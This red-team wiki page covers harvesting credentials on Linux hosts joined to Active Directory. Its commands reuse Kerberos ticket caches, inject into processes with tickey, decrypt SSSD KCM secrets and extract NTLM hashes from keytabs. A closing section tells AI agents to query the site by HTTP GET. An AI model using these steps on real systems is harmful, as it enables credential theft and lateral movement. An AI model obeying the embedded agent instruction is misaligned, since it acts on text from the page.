# Linux Active Directory

## Theory

Linux systems can be integrated into an Active Directory environment in several different ways. The most common stacks are:

* `realmd` for joining the host to the domain
* `sssd` for identity, authentication, and cache management
* Samba / Winbind for SMB integration and AD-aware name and auth handling
* Kerberos client utilities such as `kinit`, `klist`, and `libkrb5`
* host and service keytabs such as `/etc/krb5.keytab`

These components solve different problems, and each one may create different credential artifacts worth looting.

#### **realmd**

`realmd` is usually the onboarding layer. It helps a Linux host join an AD domain and writes the configuration needed for tools such as `sssd` or Samba to use the domain.

`realmd` is not usually the credential source you loot directly, but it is useful because it confirms that the machine is domain-joined, helps reveal which backend was chosen for integration, and shows where to pivot next for secrets, caches, and key material.

#### **sssd**

`sssd` stands for System Security Services Daemon. In AD-backed Linux environments it commonly handles user lookup, identity resolution, domain authentication, offline credential caching, policy caching, and Kerberos cache management through KCM. From an exploitation perspective, `sssd` matters because it can centralize sensitive material under `/var/lib/sss/`, including secret databases and Kerberos-related cache data that may not appear as ordinary files in `/tmp`.

#### **Samba**

Samba is the Linux implementation of SMB/CIFS and several Microsoft-compatible directory and authentication components. In AD environments, Samba may be used in two very different roles:

* as a member server integrated into an existing Windows AD
* as a Samba AD Domain Controller storing directory data locally

This distinction is critical because on a member server you are mostly interested in local machine secrets and integration artifacts, while on a Samba AD DC local compromise can expose domain directory data and have DC-level impact.

#### **Winbind**

`winbindd` is Samba's AD-aware identity and authentication service. It maps domain users and groups to the local UNIX system and helps the host interact with AD identities.

From an operator perspective, Winbind is useful because it shows that the host is AD-aware even if `sssd` is not used, that Samba private directories may contain useful machine-account material, and that SMB-oriented integration paths may be more relevant than SSSD-specific ones.

#### **Keytabs**

A keytab is a file containing Kerberos keys for a host or service principal. It is the Kerberos equivalent of storing a reusable secret for non-interactive authentication.

From an exploitation perspective, a keytab may allow requesting a TGT as the host or service, authenticating to Kerberos-aware services without a password prompt, or extracting key material that can sometimes be transformed into reusable credentials.

From a post-exploitation perspective, this matters because **the credential material is not stored in a single place**. Depending on the integration stack, a compromised Linux host may expose:

* Kerberos ticket caches for logged-in users or services
* host and service keytabs
* SSSD-managed secret databases
* Samba private databases with machine-account or trust-related secrets
* directory data if the Linux host is running as a Samba AD Domain ControllerIn other words, do not limit triage to `/tmp/krb5cc_*`. A Linux host joined to AD can hold **user-scoped**, **service-scoped**, and **host-scoped** authentication material.

## Practice

{% hint style="info" %}
**Tip: convert ticket to UNIX <-> Windows format**

To convert tickets between UNIX/Windows format with [ticketConverter.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/ticketConverter.py).

```bash
# Windows -> UNIX
ticketConverter.py $ticket.kirbi $ticket.ccache

# UNIX -> Windows
ticketConverter.py $ticket.ccache $ticket.kirbi
```

{% endhint %}

### Tools

{% tabs %}
{% tab title="Linkatz" %}
[linikatz](https://github.com/CiscoCXSecurity/linikatz) is a tool to attack AD on UNIX. It allow you to dump credentials and kerberos cached tickets.

```bash
linikatz.sh
```

{% endtab %}

{% tab title="KrbNixPwn" %}
[KrbNixPwn](https://github.com/0xTal/KrbNixPwn) is useful when you want a single workflow to target several Linux Kerberos cache backends. It is relevant when tickets may be stored as `FILE`, `DIR`, `KEYRING`, or `KCM`.

```bash
./KrbNixPwn.sh dump
#OR
./KrbNixPwn.sh monitor
```

{% endtab %}
{% endtabs %}

### CCACHE ticket reuse from /tmp

Kerberos tickets are often stored in file-backed CCACHE files. These caches are usually tied to a specific user session, but if you can read the file you can often **reuse the ticket without knowing the user's password**.

These files are commonly stored in `/tmp` with permissions such as `600`, and the ticket name often follows the format `krb5cc_%{uid}`.

{% tabs %}
{% tab title="Reuse tickets" %}
List the current ticket used for authentication with `env | grep KRB5CCNAME`. The format is portable and the ticket can be **reused by setting the environment variable** with `export KRB5CCNAME=/tmp/ticket.ccache`.

```bash
ls /tmp/ | grep krb5cc
krb5cc_1000
krb5cc_1569901113
krb5cc_1569901115

export KRB5CCNAME=/tmp/krb5cc_1569901115
```

{% hint style="info" %}
You may use this ticket using [Pass The Ticket](/ad/movement/kerberos/ptt.md) techniques
{% endhint %}
{% endtab %}
{% endtabs %}

### CCACHE ticket reuse from DIR caches

Some Linux systems use a directory-backed cache instead of a single `krb5cc_*` file. In that configuration, the cache name may point to a directory that contains multiple ticket cache entries.

This matters because a quick search for `/tmp/krb5cc_*` may miss all valid Kerberos material.

{% tabs %}
{% tab title="Reuse tickets" %}
Look for `DIR:` values in environment variables and Kerberos configuration, then inspect the target directory.

```bash
env | grep KRB5CCNAME
grep -R "default_ccache_name" /etc/krb5.conf /etc/krb5.conf.d 2>/dev/null

ls -lah /tmp/ 2>/dev/null
find /tmp -maxdepth 2 -type d -name "*krb*" 2>/dev/null
find /run -maxdepth 3 -type d -name "*krb*" 2>/dev/null
```

If the cache name resolves to a `DIR:` backend, inspect the directory contents and point `KRB5CCNAME` to the correct cache target.
{% endtab %}
{% endtabs %}

### CCACHE ticket reuse from keyring

Some Linux systems store Kerberos tickets in a kernel keyring-backed cache instead of a plain file. In that case, there may be no obvious `krb5cc_*` file even though the host is actively using Kerberos.

{% tabs %}
{% tab title="Reuse tickets" %}
Processes may **store kerberos tickets inside their memory**, the [tickey](https://github.com/TarlogicSecurity/tickey) tool can be useful to extract those tickets

{% hint style="info" %}
ptrace protection should be disabled in the machine `/proc/sys/kernel/yama/ptrace_scope = 0`
{% endhint %}

```bash
# Configuration and build
git clone https://github.com/TarlogicSecurity/tickey
cd tickey/tickey
make CONF=Release

[root@Lab-LSV01 /]# /tmp/tickey -i
[*] krb5 ccache_name = KEYRING:session:sess_%{uid}
[+] root detected, so... DUMP ALL THE TICKETS!!
[*] Trying to inject in tarlogic[1000] session...
[+] Successful injection at process 25723 of tarlogic[1000],look for tickets in /tmp/__krb_1000.ccache
[*] Trying to inject in velociraptor[1120601115] session...
[+] Successful injection at process 25794 of velociraptor[1120601115],look for tickets in /tmp/__krb_1120601115.ccache
[*] Trying to inject in trex[1120601113] session...
[+] Successful injection at process 25820 of trex[1120601113],look for tickets in /tmp/__krb_1120601113.ccache
[X] [uid:0] Error retrieving tickets
```

{% endtab %}
{% endtabs %}

### CCACHE ticket reuse from SSSD KCM (Kerberos Cache Manager)

{% tabs %}
{% tab title="Reuse tickets" %}
SSSD maintains a copy of the database at the path `/var/lib/sss/secrets/secrets.ldb`. The corresponding key is stored as a hidden file at the path `/var/lib/sss/secrets/.secrets.mkey`. By default, the key is only readable if you have **root** permissions.

Invoking [SSSDKCMExtractor](https://github.com/mandiant/SSSDKCMExtractor) with the `--database` and `--key` parameters will parse the database and **decrypt the secrets**.

```bash
python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey
```

{% endtab %}
{% endtabs %}

### Extract Accounts From Keytab Files

The service keys used by services that run as root are usually stored in the keytab file **`/etc/krb5.keytab`**. This service key is the equivalent of the service's password, and must be kept secure.

{% tabs %}
{% tab title="Unix-Like" %}
On Linux you can use [KeyTabExtract](https://github.com/sosdave/KeyTabExtract) to extracts Key values from .keytab files

```
python3 keytabextract.py krb5.keytab 
[!] No RC4-HMAC located. Unable to extract NTLM hashes. # No luck
[+] Keytab File successfully imported.
        REALM : DOMAIN
        SERVICE PRINCIPAL : host/computer.domain
        NTLM HASH : 31d6cfe0d16ae931b73c59d7e0c089c0 # Lucky
```

You can also use the .keytab file to request a TGT directly.

```bash
kinit administrator@local.com -k -t /tmp/administrator.keytab
```

{% endtab %}

{% tab title="Windows" %}
Use [klist](https://adoptopenjdk.net/?variant=openjdk13\&jvmVariant=hotspot) to read the keytab file and parse its content. The key that you see when the [key type](https://cwiki.apache.org/confluence/display/DIRxPMGT/Kerberos+EncryptionKey) is 23 is the actual **NT Hash of the user**.

```bash
klist.exe -t -K -e -k FILE:C:\Users\User\downloads\krb5.keytab
[...]
[26] Service principal: host/COMPUTER@DOMAIN
	 KVNO: 25
	 Key type: 23
	 Key: 31d6cfe0d16ae931b73c59d7e0c089c0
	 Time stamp: Oct 07,  2019 09:12:02
[...]
```

{% endtab %}
{% endtabs %}

## References

{% embed url="<https://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-active-directory>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://red.infiltr8.io/redteam/privilege-escalation/linux/linux-active-directory.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.